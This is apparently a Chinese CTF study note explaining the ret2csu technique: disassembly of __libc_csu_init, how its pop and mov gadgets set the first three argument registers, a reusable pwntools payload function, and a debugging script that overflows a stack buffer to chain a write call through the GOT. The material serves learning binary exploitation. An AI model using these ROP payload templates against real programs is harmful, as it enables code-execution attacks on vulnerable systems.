有学到更多的会慢慢更新的
参考

原理:

  • 这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。
  • 在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets 。这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets

汇编:

(例子来源:NSSCTF-[HNCTF 2022 WEEK2]ret2csu(题目))

libc_csu_init函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
.text:0000000000401250 ; =============== S U B R O U T I N E =======================================
.text:0000000000401250
.text:0000000000401250
.text:0000000000401250 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:0000000000401250 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp
.text:00000000004012B4

重点:

第一段

1
2
3
4
5
6
7
8
9
10
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
  • 这段代码可以将你构造的栈中的值一个一个顺序存到 rbx,rbp,r12,r13,r14,r15 寄存器中。
  • 需要注意的是,可能随着环境的不同,r13,r14,r15 的顺序也会有所改变。

第二段

1
2
3
4
5
6
7
8
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
  • 通过 1 段最后的 ret ,使程序流程到 2 段,这里将存储在 r14 的值赋给 rdx ,存储在 r13 的值赋给 rsi ,存储在 r12 的值赋给 edi ,此时 rdi 的高 32 位寄存器中值为 0,所以我们也可以控制 rdi 的值。
  • call 指令跳转到 r15 寄存器存储的位置处(在 1 段中置 rbx=0
  • rbx+1,判断是否与 rbp 相等,否则重新执行 2 段,为了不重新执行,要将 rbp 置为 1
  • 这 2 段执行完之后,顺序往下走汇编码,又会走到 1 段,重新走 1 段时,会把 rbx,rbp,r12,r13,r14,r15 六个寄存器重新设值,但这六个寄存器已经没用了,所以可以为任意的填充。我们的目的仅仅是要控制 rdi,rsi,rdx 三个寄存器来存放函数的参数。我们需要填充 7x8=56 个字符 ,填充到返回地址,也就是这里.text:00000000004012B4 retn ,然后设置特定的返回地址
  • 需要注意的是,rdi 为第一个参数的存放寄存器,rsi 为第二个参数,rdx 为第三个参数。

使用场景:

  • 没有足够单条 gadget 的场景。
  • 需要传递多个参数的函数调用。
  • 绕过现代二进制防护机制。

通用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
def ret_csu(r12, r13, r14, r15, last):
payload = b'a'* offset #填充偏移量
payload += p64(csu1) + p64(0)
#p64(csu1) 到pop rbx,rbp,r12,r13,r14,r15
#p64(0) rsp+8的填充
payload += p64(0) + p64(1)
#rbx=0 call指令跳转到对应的地方(这里是跳转到r15)
#rbp=1 不重新执行2段
payload += p64(r12) + p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器(这里是rdi=edi=r12 rsi=r13 rdx=r14 r15是我们想调用的函数)
payload += p64(csu2)
payload+=b'a'*56+p64(last) #填充 最后返回地址
io.sendline(payload)
  • call 函数为跳转到某地址内所保存的地址,应该使用 got 表中的地址
  • ret 指令必须跳转到一段有效的汇编指令,所以应为 plt 表中的地址

问题:

(例子:NSSCTF-[HNCTF 2022 WEEK2]ret2csu(题目))

为什么填充56个字节?

根据题目写到 p64(csu2) 处,进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
context(arch='amd64',log_level='debug')
# io=remote('node5.anna.nssctf.cn',24027)
io=process('/home/motaly/csu')
elf=ELF('/home/motaly/csu')

write_got = elf.got['write']
main_addr = 0x4011DC
csu1_addr = 0x4012A6
csu2_addr = 0x401290
rdi = 0x4012b3

gdb.attach(io)
payload=b'a'*264
payload+=p64(csu1_addr)+p64(0) #pop rbx,rbp,r12,r13,r14,r15 rsp+8
payload+=p64(0)+p64(1) #rbx=0 call指令跳转到r15 rbp=1 不重新执行
payload+=p64(1)+p64(8)+p64(write_got)+p64(main_addr) # rdi=edi=r12 rsi=r13 rdx=r14 r15是我们想调用的函数
payload+=p64(csu2_addr)
io.sendline(payload)
pause()
io.interactive()

一直用 ni 指令,运行到 __libc_csu_init

因为填充完后我们给的地址是 csu1_addr(0x4012A6)
对应的是这里

所以直接用指令 retaddr 查看ret地址,并用 stack 指令查看当前栈情况

看到填充 0x38(56) ,就能到达 ret